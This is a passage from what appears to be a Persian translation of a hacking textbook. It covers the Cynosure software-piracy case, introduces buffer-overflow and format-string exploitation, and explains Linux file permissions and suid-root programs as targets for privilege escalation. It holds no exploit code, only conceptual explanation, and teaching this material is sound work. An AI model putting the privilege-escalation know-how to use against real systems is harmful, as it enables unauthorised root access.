ﻫﮑﺮ 21ﺳﺎﻟﻪ و داﻧﺶ آﻣﻮز در ،MITﯾﮏ ﺳﯿﺴﺘﻢ ﺗﺎﺑﻠﻮ اﻋﻼﻧﺎت 10ﺑـﺎ ﻧـﺎم " "Cynosureرا ﺑـﺮای ﻣﻘﺎﺻـﺪ دزدی ﻧـﺮم
اﻓﺰاری ﻧﺼﺐ ﮐﺮد .آﻧﻬﺎﯾﯽ ﮐﻪ ﻧﺮم اﻓﺰاری ﺑﺮای اراﺋﻪ داﺷﺘﻨﺪ ﻣﯽ ﺗﻮاﻧﺴﺘﻨﺪ آن ﻧﺮم اﻓﺰار را آﭘﻠـﻮد ﮐـﺮده و آﻧﻬـﺎﯾﯽ ﮐـﻪ
ﻧﻤﯽ ﺧﻮاﺳﺘﻨﺪ ﭼﯿﺰی اراﺋﻪ ﮐﻨﻨﺪ ،ﺣﺪاﻗﻞ ﻣﯽ ﺗﻮاﻧﺴﺘﻨﺪ ﻧﺮم اﻓﺰار ﻣﻮرد ﻧﻈﺮ ﺧﻮد را داﻧﻠﻮد ﮐﻨﻨﺪ .اﯾﻦ ﺳﺮوﯾﺲ ﺗﻨﻬـﺎ ﺑـﺮای
6ﻫﻔﺘﻪ ﻓﻌﺎل ﺑﻮد ،اﻣﺎ ﯾﮏ ﺗﺮاﻓﯿﮏ ﺷﺒﮑﻪ ﺳﻨﮕﯿﻦ و ﺟﻬﺎﻧﯽ را اﯾﺠﺎد ﮐﺮد ﮐﻪ ﺳﺮاﻧﺠﺎم ﺗﻮﺟﻪ ﻣـﺴﺌﻮﻻن داﻧـﺸﮕﺎه و ﻓـﺪرال
اﻣﻨﯿﺘﯽ را ﺟﻠﺐ ﮐﺮد .ﺷﺮﮐﺖ ﻫﺎی ﻧﺮم اﻓﺰاری ادﻋﺎ ﮐﺮدﻧﺪ ﮐﻪ در ﻧﺘﯿﺠﻪ Cynosureﻣﺘﺤﻤـﻞ ﺿـﺮر ﯾـﮏ ﻣﯿﻠﯿـﻮن دﻻری
ﺷﺪه اﻧﺪ .ﻫﯿﺌﺖ ﻣﻨﺼﻔﻪ ﻓﺪرال ،ﻟﻤﮑﺸﯿﺎ را ﺑﻪ اﺗﻬﺎم ﻣﺸﺎرﮐﺖ ﺑﺎ اﻓﺮاد ﻧﺎﺷﻨﺎس و ﺗﺨﻠﻒ از اﺣﮑﺎم ﮐﻼﻫﺒﺮداری ﮐـﺎﻣﭙﯿﻮﺗﺮی
دﺳـﺘﮕﯿﺮ ﮐﺮدﻧـﺪ .ﺑـﻪ ﻫـﺮ ﺣـﺎل ﺣﮑـﻢ ﺑﺎزداﺷـﺖ ﻋـﺰل ﺷـﺪ ﭼـﻮن اَﻋﻤـﺎل ﻟﻤﮑـﺸﯿﺎ ،ﺗﺤـﺖ ﺟﺮﯾـﺎن ﻗـﺮارداد ﺣـﻖ-ﮐﭙـﯽ
) (Copyrightﺑﻪ ﻋﻨﻮان ﺑﺰﻫﮑﺎری ﺷﻨﺎﺧﺘﻪ ﻧﺸﺪ ،ﭼﻮن ﺟﺮم ﺑﺮای اﻫﺪاف ﻣﻨﻔﻌﺘﯽ ﺗﺠﺎری ﯾﺎ ﺳـﻮ اﺳـﺘﻔﺎده ﻫـﺎی ﺷﺨـﺼﯽ
ﻣﺎﻟﯽ اﻧﺠﺎم ﻧﺸﺪه ﺑﻮد .ﻇﺎﻫﺮا ﻗﺎﻧﻮﻧﮕﺬارن ﻫﺮﮔﺰ ﭘﯿﺶ ﺑﯿﻨـﯽ ﻧﻤـﯽ ﮐﺮدﻧـﺪ ﮐـﻪ ﻓـﺮدی ﺑـﺎ اﻫـﺪاﻓﯽ ﻏﯿـﺮ از ﻣﻨﻔﻌـﺖ ﻃﻠﺒـﯽ
اﻗﺘﺼﺎدی و ﺷﺨﺼﯽ ﻣﺸﻐﻮل ﺑﻪ اﯾﻦ ﻧﻮع ﻓﻌﺎﻟﯿﺖ ﻫﺎ ﺷﻮد .ﭼﻨـﺪی ﺑﻌـﺪ در ﺳـﺎل ،1997ﮐﻨﮕـﺮه اﯾـﻦ رﺧﻨـﻪ ﻗـﺎﻧﻮﻧﯽ را ﺑـﺎ
ﻗﺮارداد ﻋﺪم دزدی اﻟﮑﺘﺮوﻧﯿﮑﯽ ) (No Electronic Theftﻣﺮﺗﻔﻊ ﺳﺎﺧﺖ .اﮔﺮﭼﻪ اﯾﻦ ﻣﺜﺎل راﺟﻊ ﺑﻪ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن
ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﮐﺎﻣﭙﯿﻮﺗﺮی ﻧﺒﻮد ،اﻣﺎ دادﮔﺎه را ﻣﯽ ﺗﻮان ﺑﻪ ﻋﻨﻮان ﮐﺎﻣﭙﯿﻮﺗﺮی ﻓـﺮض ﮐـﺮد ﮐـﻪ ﺑﺮﻧﺎﻣـﻪ ی ﺳﯿـﺴﺘﻢ ﻗـﺎﻧﻮﻧﯽ را
ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻧﻮﺷﺘﻪ ﺷﺪه اﺳﺖ اﺟﺮا ﻣﯽ ﮐﻨﺪ .ﻣﻔﺎﻫﯿﻢ اﻧﺘﺰاﻋﯽ از ﻋﻠﻢ ﻫﮏ از دﻧﯿﺎی ﮐﺎﻣﭙﯿﻮﺗﺮ و ﻣﺤﺎﺳﺒﺎت ﻓﺮاﺗـﺮ اﺳـﺖ،
ﺑﻄﻮرﯾﮑﻪ ﻣﯽ ﺗﻮان آﻧﻬﺎ را ﺑﺮ وﺟﻮه ﺑﺴﯿﺎر ﻣﺨﺘﻠﻔﯽ از زﻧﺪﮔﯽ اﻋﻤﺎل ﮐﺮد ﮐـﻪ ﻣﻤﮑـﻦ اﺳـﺖ ﺳﯿـﺴﺘﻢ ﻫـﺎی ﭘﯿﭽﯿـﺪه ای در
ورای آن ﺑﺎﺷﻨﺪ.
ﺧﻄﺎﻫﺎی ﺳﺘﻮن دﯾﻮار و ﺗﻮﺳﻌﻪ ﻧﺎﻣﻨﺎﺳﺐ ﯾﻮﻧﯿﮑﺪ ﻣﺸﮑﻼﺗﯽ ﻫﺴﺘﻨﺪ ﮐﻪ در آن واﺣﺪ ﻧﻤﯽ ﺗﻮان آﻧﻬـﺎ را ﺗـﺸﺨﯿﺺ داد ،اﻣـﺎ
ﺑﺮای ﻫﺮ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﺑﺎ درک ﺑﺎﻻ آﺷﮑﺎر ﺧﻮاﻫﻨﺪ ﺑﻮد .اﻣﺎ ﺧﻄﺎﻫﺎی راﯾﺠﯽ وﺟﻮد دارﻧﺪ ﮐﻪ ﺑـﻪ روش ﻫـﺎﯾﯽ اﮐـﺴﭙﻠﻮﯾﺖ
ﻣﯽ ﺷﻮﻧﺪ ﮐﻪ آن ﻗﺪرﻫﺎ ﻫﻢ آﺷﮑﺎر ﻧﯿﺴﺘﻨﺪ .ﺗﺎﺛﯿﺮ اﯾﻦ ﺧﻄﺎﻫﺎ ﺑﺮ اﻣﻨﯿﺖ ﻫﻤﯿﺸﻪ واﺿﺢ ﻧﯿﺴﺖ و اﯾـﻦ ﻣـﺸﮑﻼت اﻣﻨﯿﺘـﯽ در
ﻫﺮ ﺟﺎﯾﯽ از ﮐﺪ وﺟﻮد دارﻧﺪ .ﭼﻮن اﺷﺘﺒﺎﻫﺎت ﯾﮑﺴﺎﻧﯽ در ﺑـﺴﯿﺎری از ﻣـﻮارد ﻣﺨﺘﻠـﻒ رخ ﻣـﯽ دﻫﻨـﺪ ،ﻟـﺬا ﺗﮑﻨﯿـﮏ ﻫـﺎی
اﮐﺴﭙﻠﻮﯾﺘﯿﻨﮓ ﮐﻠﯽ و ﭘﺎﯾﻪ ای ﺑﺮای ﺳﻮد ﺑﺮدن از اﯾﻦ اﺷﺘﺒﺎﻫﺎت ﺗﻮﺳﻌﻪ ﯾﺎﻓﺘﻪ اﻧﺪ و ﻣـﯽ ﺗـﻮان آﻧﻬـﺎ را در وﺿـﻌﯿﺖ ﻫـﺎی
ﮔﻮﻧﺎﮔﻮﻧﯽ ﺑﮑﺎر ﺑﺮد.
ﻣﯽ ﺗﻮان از دو ﻧﻮع ﻣﻌﻤﻮل از ﺗﮑﻨﯿﮏ ﻫﺎی ﮐﻠﯽ اﮐﺴﭙﻠﻮﯾﺖ ﯾﻌﻨﯽ اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﺳﺮرﯾﺰ ﺑﺎﻓﺮ 11و اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی رﺷﺘﻪ
ﻓﺮﻣﺖ 12ﻧﺎم ﺑﺮد .در ﻫﺮ دوی اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ ﻫﺪف ﻧﻬﺎﯾﯽ ،ﮐﻨﺘﺮل ﮐﺮدن روﻧﺪ اﺟﺮاﯾﯽ ﺑﺮﻧﺎﻣﻪ ﻫﺪف اﺳﺖ ﺗـﺎ ﺳﯿـﺴﺘﻢ را
در اﺟﺮای ﯾﮏ ﻗﻄﻌﻪ ﮐﺪ ﻣﻀﺮ )ﮐﻪ ﻣﯽ ﺗﻮان آﻧﺮا از ﻃﺮق ﮔﻮﻧﺎﮔﻮﻧﯽ در ﺣﺎﻓﻈﻪ ﻗﺮار داد( ﻓﺮﯾﺐ دﻫﯿﻢ .اﯾﻦ ﻋﻤﻞ ﺗﺤﺖ ﻧﺎم
اﺟﺮای ﮐﺪ دﻟﺨﻮاه ) (arbitrary code executionﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد ،ﭼﺮا ﮐﻪ ﻫﮑﺮ ﻣﯽ ﺗﻮاﻧـﺪ ﺗﻘﺮﯾﺒـﺎ ﻣـﺴﺒﺐ ﻫﺮﮐـﺎری
ﺷﻮد.
اﻣﺎ ﭼﯿﺰی ﮐﻪ واﻗﻌﺎ اﯾﻦ ﻧﻮع اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎ را ﺟﺬاب و دﻟﭽﺴﺐ ﻣﯽ ﺳﺎزد ،ﺗﮑﻨﯿﮏ ﻫـﺎی زﯾﺮﮐﺎﻧـﻪ ﻣﺨﺘﻠﻔـﯽ اﺳـﺖ ﮐـﻪ در
راﺳﺘﺎی دﺳﺘﯿﺎﺑﯽ ﺑﻪ اﻫﺪاف ﻧﻬﺎﯾﯽ ﺗﻮﺳﻌﻪ ﯾﺎﻓﺘﻪ اﻧﺪ .درک اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ ﺑﻪ ﻣﺮاﺗﺐ ﻣﻘﺘﺪراﻧﻪ ﺗﺮ و ﻣﻔﯿﺪﺗﺮ از ﻧﯿﻞ ﺑﻪ ﻧﺘﯿﺠﻪ
ﭘﺎﯾﺎﻧﯽ ﻫﺮ اﮐﺴﭙﻠﻮﯾﺖ واﺣﺪ اﺳﺖ )ﻣﺜﻼ دﺳﺘﺮﺳﯽ ﺑﻪ ﯾﮏ ﺳﯿﺴﺘﻢ ﮐﺎﻣﭙﯿﻮﺗﺮی( .ﺑﻪ اﯾﻦ ﺻﻮرت ﻣـﯽ ﺗـﻮان آﻧﻬـﺎ را اِﻋﻤـﺎل و
ﮔﺴﺘﺮش داد ﺗﺎ ﺗﺎﺛﯿﺮات دﯾﮕﺮی را ﻧﺘﯿﺠﻪ ﮔﺮﻓﺖ .ﺑﻪ ﻫﺮ ﺣﺎل ﭘﯿﺶ ﻧﯿﺎز درک اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎی اﮐﺴﭙﻠﻮﯾﺘﯿﻨﮓ ﺑﻪ ﻣﺮاﺗـﺐ
داﻧﺸﯽ ﻋﻤﯿﻖ ﺗﺮ از ﻣﺠﻮزﻫﺎی ﻓﺎﯾﻞ ،ﻣﺘﻐﯿﺮﻫﺎ ،ﺗﺨﺼﯿﺺ ﺣﺎﻓﻈﻪ ،ﺗﻮاﺑﻊ و زﺑﺎن اﺳﻤﺒﻠﯽ اﺳﺖ.
10
Bulletin Board System
11
Buffer Overflow
12
Format-String
16
.2,4ﻣﺠﻮزﻫﺎی ﭼﻨﺪ-ﮐﺎرﺑﺮه ﻓﺎﯾﻞ
ﻟﯿﻨﻮﮐﺲ ﯾﮏ ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ ﭼﻨﺪﮐﺎرﺑﺮه ) (Multi-Userاﺳﺖ ﮐﻪ ﺳﻄﺢ اﺧﺘﯿﺎرات ﮐﺎﻣﻞ ﺳﯿﺴﺘﻢ ،ﻣﻨﺤﺼﺮا ﺑﻪ ﯾـﮏ ﮐـﺎرﺑﺮ
ﻣﺪﯾﺮﯾﺘﯽ ﺗﺤﺖ ﻋﻨﻮان رﯾﺸﻪ ) (rootاﻋﻄﺎ ﻣﯽ ﺷﻮد .ﻋﻼوه ﺑﺮ ﮐـﺎرﺑﺮ رﯾـﺸﻪ ،اﮐﺎﻧـﺖ ﻫـﺎی ﮐـﺎرﺑﺮی ﺑـﺴﯿﺎر و ﮔـﺮوه ﻫـﺎی
دﯾﮕﺮی وﺟﻮد دارﻧﺪ .ﺑﺴﯿﺎری از ﮐﺎرﺑﺮان ﻣﯽ ﺗﻮاﻧﻨﺪ ﺑﻪ ﯾﮏ ﮔﺮوه ﺗﻌﻠﻖ داﺷﺘﻪ ﺑﺎﺷﻨﺪ و ﯾﮏ ﮐﺎرﺑﺮ ﻣﯽ ﺗﻮاﻧـﺪ ﺑـﻪ ﭼﻨـﺪﯾﻦ
ﮔﺮوه ﻣﺨﺘﻠﻒ ﻣﺘﻌﻠﻖ ﺑﺎﺷﺪ! ﻣﺠﻮزﻫﺎی ﻓﺎﯾﻞ ﻧﯿﺰ ﻣﺒﺘﻨﯽ ﺑﺮ ﻫﺮ دوی ﮐﺎرﺑﺮان و ﮔﺮوه ﻫـﺎ اﺳـﺖ ،ﺑﻄﻮرﯾﮑـﻪ ﮐـﺎرﺑﺮان دﯾﮕـﺮ
ﻧﻤﯽ ﺗﻮاﻧﻨﺪ ﻓﺎﯾﻠﻬﺎی ﺷﻤﺎ را ﺑﺨﻮاﻧﻨﺪ ﻣﮕﺮاﯾﻨﮑﻪ ﺑﻪ آﻧﻬﺎ اﺟﺎزه ﺻﺮﯾﺢ اﯾﻦ ﮐﺎر داده ﺷﻮد .ﻫـﺮ ﻓﺎﯾـﻞ ﺑـﻪ ﯾـﮏ ﮐـﺎرﺑﺮ و ﯾـﮏ
ﮔﺮوه ﻣﺮﺗﺒﻂ اﺳﺖ و ﺗﻨﻬﺎ ﻣﺎﻟﮏ ﻓﺎﯾﻞ اﺳﺖ ﮐﻪ ﻣﯽ ﺗﻮاﻧﺪ ﻣﺠﻮزﻫﺎ را ﺻﺎدر ﮐﻨﺪ .ﺳﻪ ﻣﺠﻮز ﺗﺤﺖ ﻋﻨـﻮان ﺧﻮاﻧـﺪن )،(read
ﻧﻮﺷﺘﻦ ) (writeو اﺟﺮا ﮐﺮدن ) (executeوﺟـﻮد دارد .اﯾـﻦ ﻣﺠﻮزﻫـﺎ ﻣـﯽ ﺗﻮاﻧﻨـﺪ در ﺳـﻪ ﻓﯿﻠـﺪ ﮐـﺎرﺑﺮ ) ،(userﮔـﺮوه
) (groupو دﯾﮕﺮان ) (otherﻓﻌﺎل ﯾﺎ ﻏﯿﺮﻓﻌﺎل ﺷﻮﻧﺪ .ﻓﯿﻠﺪ ﮐﺎرﺑﺮ ،ﮐﺎرﻫﺎﯾﯽ را ﮐـﻪ ﻣﺎﻟـﮏ ﻓﺎﯾـﻞ ﻣـﯽ ﺗﻮاﻧـﺪ اﻧﺠـﺎم دﻫـﺪ
)ﺧﻮاﻧﺪن ،ﻧﻮﺷﺘﻦ ،اﺟﺮا ﮐﺮدن( ،ﺗﻌﯿﯿﻦ ﻣﯽ ﮐﻨﺪ .ﻓﯿﻠﺪ ﮔﺮوه ،ﮐﺎرﻫﺎی ﻗﺎﺑﻞ اﻧﺠﺎم ﺗﻮﺳﻂ ﮐﺎرﺑﺮان آن ﮔـﺮوه را ﺗﻌﯿـﯿﻦ ﻣـﯽ
ﮐﻨﺪ .ﻓﯿﻠﺪ دﯾﮕﺮان ،ﻧﯿﺰ ﮐﺎرﻫﺎﯾﯽ را ﮐﻪ ﺑﻘﯿﻪ ﮐﺎرﺑﺮان ﻣﯽ ﺗﻮاﻧﻨﺪ اﻧﺠﺎم دﻫﻨﺪ ﺗﻌﯿﯿﻦ ﻣﯽ ﮐﻨﺪ .اﯾﻦ ﻣﺠﻮزﻫﺎ ﺑﺎ ﺣﺮوف w ،rو
xدر ﺳﻪ ﻓﯿﻠﺪ ﻣﺘﻮاﻟﯽ ﻣﺘﻨﺎﻇﺮ ﺑﺎ ﮐﺎرﺑﺮ ،ﮔﺮوه و دﯾﮕﺮان ﻧﻤﺎﯾﺶ ﻣﯽ ﯾﺎﺑﻨﺪ .در ﻣﺜﺎل زﯾﺮ ﮐﺎرﺑﺮ )ﻣﺎﻟﮏ( ﻣﺠﻮزﻫﺎی ﺧﻮاﻧـﺪن
و ﻧﻮﺷﺘﻦ )اوﻟﯿﻦ ﻓﯿﻠﺪ درﺷﺖ ﻧﻤﺎ ﺷﺪه( ،ﮔﺮوه ﻣﺠﻮزﻫـﺎی ﺧﻮاﻧـﺪن و اﺟـﺮا ﮐـﺮدن )ﻓﯿﻠـﺪ وﺳـﻂ( و دﯾﮕـﺮان ،ﻣﺠﻮزﻫـﺎی
ﻧﻮﺷﺘﻦ و اﺟﺮا ﮐﺮدن را دارﻧﺪ )آﺧﺮﯾﻦ ﻓﯿﻠﺪ درﺷﺖ ﻧﻤﺎ ﺷﺪه(.
-rw-r-x-wx 1 guest visitors 149 Jul 15 23:59 tmp
13
در ﺑﻌﻀﯽ ﺣﺎﻻت ﻻزم اﺳﺖ ﮐﻪ ﺑﻪ ﯾﮏ ﮐﺎرﺑﺮ ﺑﺪون ﺳﻄﺢ دﺳﺘﺮﺳﯽ ،اﺟﺎزه اﺟﺮای ﯾﮏ ﻋﻤـﻞ ﺳﯿـﺴﺘﻤﯽ )ﮐـﻪ ﺑـﻪ ﺳـﻄﺢ
دﺳﺘﺮﺳﯽ رﯾﺸﻪ ﻧﯿﺎز دارد( را ﺑﺪﻫﯿﻢ ،ﻣﺜﻞ ﺗﻌﻮﯾﺾ ﯾﮏ رﻣﺰﻋﺒﻮر .اوﻟﯿﻦ راه ﺣﻞ دادن ﺳﻄﺢ اﺧﺘﯿﺎر رﯾﺸﻪ ﺑﻪ ﮐﺎرﺑﺮ ﻣﺬﺑﻮر
اﺳﺖ؛ اﻣﺎ اﯾﻦ ﮐﺎر ﮐﻨﺘﺮل ﮐﺎﻣﻞ ﺳﯿﺴﺘﻢ را ﺑﻪ دﺳﺖ ﮐﺎرﺑﺮ ﻣﯽ ﺳﭙﺎرد ﮐﻪ از ﻧﻘﻄﻪ ﻧﻈﺮ اﻣﻨﯿﺘﯽ ﻣﻄﻠﻮب ﻧﯿﺴﺖ .ﻟﺬا در ﻋﻮض
ﺑﻪ ﺑﺮﻧﺎﻣﻪ ﻗﺎﺑﻠﯿﺘﯽ اﻋﻄﺎ ﻣﯽ ﺷﻮد ﮐﻪ در ﺷﺮاﯾﻄﯽ اﺟﺮا ﺷﻮد ﮐﻪ اﻧﮕﺎر ﯾﮏ ﮐﺎرﺑﺮ رﯾﺸﻪ اﺳﺖ ،ﺑﻄﻮرﯾﮑﻪ ﻋﻤـﻞ ﺳﯿـﺴﺘﻤﯽ ﺑـﻪ
درﺳﺘﯽ اﻧﺠﺎم ﺷﻮد و ﻋﻤﻼ ﺑﻪ ﮐﺎرﺑﺮ ﮐﻨﺘﺮل ﮐﺎﻣﻞ ﺑﻪ ﺳﯿﺴﺘﻢ داده ﻧﺸﻮد .اﯾـﻦ ﻧـﻮع ﻣﺠـﻮز را ﻣﺠـﻮز ﯾـﺎ ﺑﯿـﺖِ 14suidﻣـﯽ
ﻧﺎﻣﯿﻢ .ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺑﺎ ﻣﺠﻮز suidﺗﻮﺳﻂ ﯾﮏ ﮐﺎرﺑﺮ اﺟﺮا ﻣﯽ ﺷﻮد ،آﻧﮕﺎه 15euidﯾﺎ ﺷﻨﺎﺳﻪ ﻣﻮﺛﺮ ﮐـﺎرﺑﺮی آن
ﮐﺎرﺑﺮ ،ﺑﻪ uidﯾﺎ ﺷﻨﺎﺳﻪ ﮐﺎرﺑﺮی ﻣﺎﻟﮏِ ﺑﺮﻧﺎﻣﻪ ﺗﻐﯿﯿﺮ ﯾﺎﻓﺘﻪ و ﺑﺮﻧﺎﻣﻪ اﺟﺮا ﻣﯽ ﮔﺮدد .ﭘـﺲ از ﭘﺎﯾـﺎن اﺟـﺮای ﺑﺮﻧﺎﻣـﻪeuid ،
ﮐﺎرﺑﺮ ﺑﻪ ﻣﻘﺪار اوﻟﯿﻪ ﺧﻮد ﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﺑﺪ .اﯾﻦ ﺑﯿﺖ ﯾﺎ ﻣﺠﻮز در ﻣﺜﺎل زﯾﺮ ﺑﺎ ﺣﺮف sﺑﻪ ﺻﻮرت درﺷـﺖ ﻧـﺸﺎن داده ﺷـﺪه
اﺳﺖ .ﻫﻤﭽﻨﯿﻦ ﻣﺠﻮزی ﺑﺎ ﻧﺎم 16sgidوﺟﻮد دارد ﮐﻪ ﻫﻤﯿﻦ ﻋﻤﻞ را ﺑﺎ ﺷﻨﺎﺳﻪ ﻣﻮﺛﺮ ﮔﺮوه 17اﻧﺠﺎم ﻣﯽ دﻫﺪ.
-rwsr-xr-x 1 root root 29592 Aug 8 13:37 /usr/bin/passwd
ﺑﺮای ﻣﺜﺎل اﮔﺮ ﮐﺎرﺑﺮی ﺑﺨﻮاﻫﻨﺪ رﻣﺰ ﻋﺒﻮر ﺧﻮد را ﺗﻐﯿﯿﺮ دﻫﺪ ،ﺑﺎﯾﺪ ﻓﺎﯾﻞ /usr/bin/passwdرا اﺟﺮا ﮐﻨﺪ ﮐﻪ ﻣﺎﻟـﮏ آن
ﮐﺎرﺑﺮ رﯾﺸﻪ و ﺑﯿﺖ suidﺑﺮ روی آن ﻓﻌﺎل اﺳﺖ .ﺳﭙﺲ ﺟﻬﺖ اﺟﺮای ﻓﺎﯾﻞ ﭘﺴﻮرد uid ،ﮐﺎرﺑﺮ ﺑﻪ uidرﯾﺸﻪ )ﮐـﻪ ﺑﺮاﺑـﺮ
ﺑﺎ ﺻﻔﺮ اﺳﺖ( ﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﺑﺪ و ﺑﻌﺪ از اﺗﻤﺎم اﺟﺮا ﺑﻪ ﺣﺎﻟﺖ اوﻟﯿﻪ ﺑﺎز ﻣﯽ ﮔﺮدد .ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ ﮐﻪ ﻣﺠﻮز suidﺑـﺮ روی آﻧﻬـﺎ
روﺷﻦ ﯾﺎ ﻓﻌﺎل و ﻣﺎﻟﮏ آﻧﻬﺎ ﮐﺎرﺑﺮ رﯾﺸﻪ ﺑﺎﺷﺪ ،ﻣﻌﻤﻮﻻ ﺑﺎ ﻧﺎم " "SUID Rootﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮﻧﺪ.
اﯾﻨﺠﺎﺳﺖ ﮐﻪ ﺗﻐﯿﯿﺮ روﻧﺪ اﺟﺮاﯾﯽ ﺑﺮﻧﺎﻣﻪ ﺑﺴﯿﺎر ﻣﻬﻢ ﺟﻠﻮه ﻣﯽ ﮐﻨﺪ .اﮔـﺮ روﻧـﺪ ﯾـﮏ ﺑﺮﻧﺎﻣـﻪ suid rootرا ﺑﺘـﻮان ﻃـﻮری
ﺗﻐﯿﯿﺮ داد ﮐﻪ ﯾﮏ ﻗﻄﻌﻪ ﮐﺪ ﺗﺰرﯾﻖ ﺷﺪه دﻟﺨﻮاه را اﺟﺮا ﮐﻨﺪ ،آﻧﮕﺎه ﻧﻔﻮذﮔﺮ ﺗﺤﺖ اﺧﺘﯿﺎرات رﯾﺸﻪ ﻣﯽ ﺗﻮاﻧﺪ ﺑﺮﻧﺎﻣﻪ را ﺑـﻪ
ﻫﺮ ﮐﺎری وا دارد .اﮔﺮ ﻧﻔﻮذﮔﺮ ﺗﺼﻤﯿﻢ ﺑﻪ اﯾﺠﺎد ﯾﮏ ﭘﻮﺳﺘﻪ ﻓﺮﻣﺎن ﮐﺎرﺑﺮی 18ﺟﺪﯾﺪ ﺟﻬﺖ دﺳﺘﯿﺎﺑﯽ ﺑﻪ آن ﺑﮕﯿﺮد ،آﻧﮕـﺎه
13
Non-Privileged
14
Set User-ID
15
Effective User-ID
16
Set Group-ID
17
Effective Group-ID
18
User Shell
17
ﻧﻔﻮذﮔﺮ در ﯾﮏ ﺳﻄﺢ ﮐﺎرﺑﺮی ،ﺳﻄﺢ اﺧﺘﯿﺎر رﯾﺸﻪ را ﺧﻮاﻫﺪ داﺷﺖ .ﻫﻤﺎن ﻃﻮر ﮐﻪ در اﺑﺘﺪا ذﮐﺮ ﺷﺪ ،اﯾﻦ ﻣﺴﺌﻠﻪ از ﻧﻘﻄﻪ
ﻧﻈﺮ اﻣﻨﯿﺘﯽ ﻣﻄﻠﻮب ﻧﯿﺴﺖ ،ﭼﺮا ﮐﻪ ﺑﻪ ﻧﻔﻮذﮔﺮ ﺑﻪ ﻋﻨﻮان ﮐﺎرﺑﺮ رﯾﺸﻪ ،ﮐﻨﺘﺮل ﮐﺎﻣﻞ ﺳﯿﺴﺘﻢ را اﻋﻄﺎ ﻣﯽ ﮐﻨﺪ.
ﻣﯽ ﺗﻮاﻧﻢ ﺣﺪس ﺑﺰﻧﻢ ﮐﻪ ﺑﻪ ﭼﻪ ﭼﯿﺰی ﻓﮑﺮ ﻣﯽ ﮐﻨﯿﺪ" :ﺧﺎرق اﻟﻌﺎده اﺳﺖ ،اﻣﺎ اﮔﺮ ﺑﻨﺎ ﺑﻪ ﺗﻌﺮﯾـﻒ ﻗﺒـﻮل دارﯾـﻢ ﮐـﻪ ﯾـﮏ
ﺑﺮﻧﺎﻣﻪ ﻣﺠﻤﻮﻋﻪ ای ﻣﺴﺘﺤﮑﻢ از ﻗﻮاﻧﯿﻦ اﺳﺖ ،آﻧﮕﺎه ﭼﻄﻮر ﻣﯽ ﺗﻮان روﻧﺪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ را ﺗﻐﯿﯿﺮ داد!؟"
ﺑﺴﯿﺎری از ﺑﺮﻧﺎﻣﻪ ﻫﺎ در زﺑﺎن ﻫﺎی ﺳﻄﺢ ﺑﺎﻻ ﻣﺎﻧﻨﺪ Cﻧﻮﺷﺘﻪ ﻣﯽ ﺷﻮﻧﺪ و ﺑﺎ ﺗﻮﺟﻪ و ﮐﺎر در اﯾﻦ ﺳﻄﺢ ﺑـﺎﻻﺗﺮ ،ﻋﻤـﻼ ﺑﺮﻧﺎﻣـﻪ
ﻧﻮﯾﺲ ﻧﻤﯽ ﺗﻮاﻧﺪ ﺗﺼﻮﯾﺮ ﺟﺎﻣﻊ و ﮐﻠﯽ ﺗﺮ را از ﺑﺮﻧﺎﻣﻪ ﺑﺪﺳﺖ آورد ﮐﻪ ﺷﺎﻣﻞ ﻣﻮاردی ﻫﻤﭽـﻮن ﺣﺎﻓﻈـﻪ ﻣﺘﻐﯿـﺮ ،ﻓﺮاﺧـﻮاﻧﯽ
ﻫﺎی ﭘﺸﺘﻪ ،اﺷﺎرﮔﺮﻫﺎی اﺟﺮاﯾﯽ و دﯾﮕﺮ دﺳﺘﻮرات ﺳﻄﺢ ﭘﺎﺋﯿﻦ ﻣﺎﺷﯿﻦ ﻣﯽ ﺷﻮد ﮐﻪ در زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ واﺿـﺢ ﻧﯿـﺴﺘﻨﺪ .ﺑـﺎ
درﮐﯽ ﻋﻤﯿﻖ از دﺳﺘﻮرات ﺳﻄﺢ ﭘﺎﺋﯿﻦ ﻣﺎﺷﯿﻦ ﮐﻪ ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﺳﻄﺢ ﺑﺎﻻ ﺑﻪ آﻧﻬﺎ ﺗﺮﺟﻤﻪ ﻣﯽ ﺷﻮﻧﺪ ،ﯾﮏ ﻫﮑﺮ ذﻫﻨﯿﺘﯽ ﺑﻬﺘـﺮ
و ﻣﻠﻤﻮس ﺗﺮ از اﺟﺮای واﻗﻌﯽ ﺑﺮﻧﺎﻣﻪ ﻧﺴﺒﺖ ﺑﻪ ﺑﺮﻧﺎﻣﻪ ﻧـﻮﯾﺲ ﺳـﻄﺢ ﺑـﺎﻻ ﺧﻮاﻫـﺪ داﺷـﺖ ﮐـﻪ ﺑﺮﻧﺎﻣـﻪ را ﺑـﺪون آن درک
ﺑﺨﺼﻮص ﻧﻮﺷﺘﻪ اﺳﺖ .ﻟﺬا اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺑﻪ ﻣﻨﻈﻮر ﺗﻐﯿﯿﺮ روﻧﺪ اﺟﺮاﯾﯽ آﻧﻬﺎ ﻫﻨﻮز ﻫﻢ ﻫـﯿﭻ ﯾـﮏ از ﻗـﻮاﻧﯿﻦ
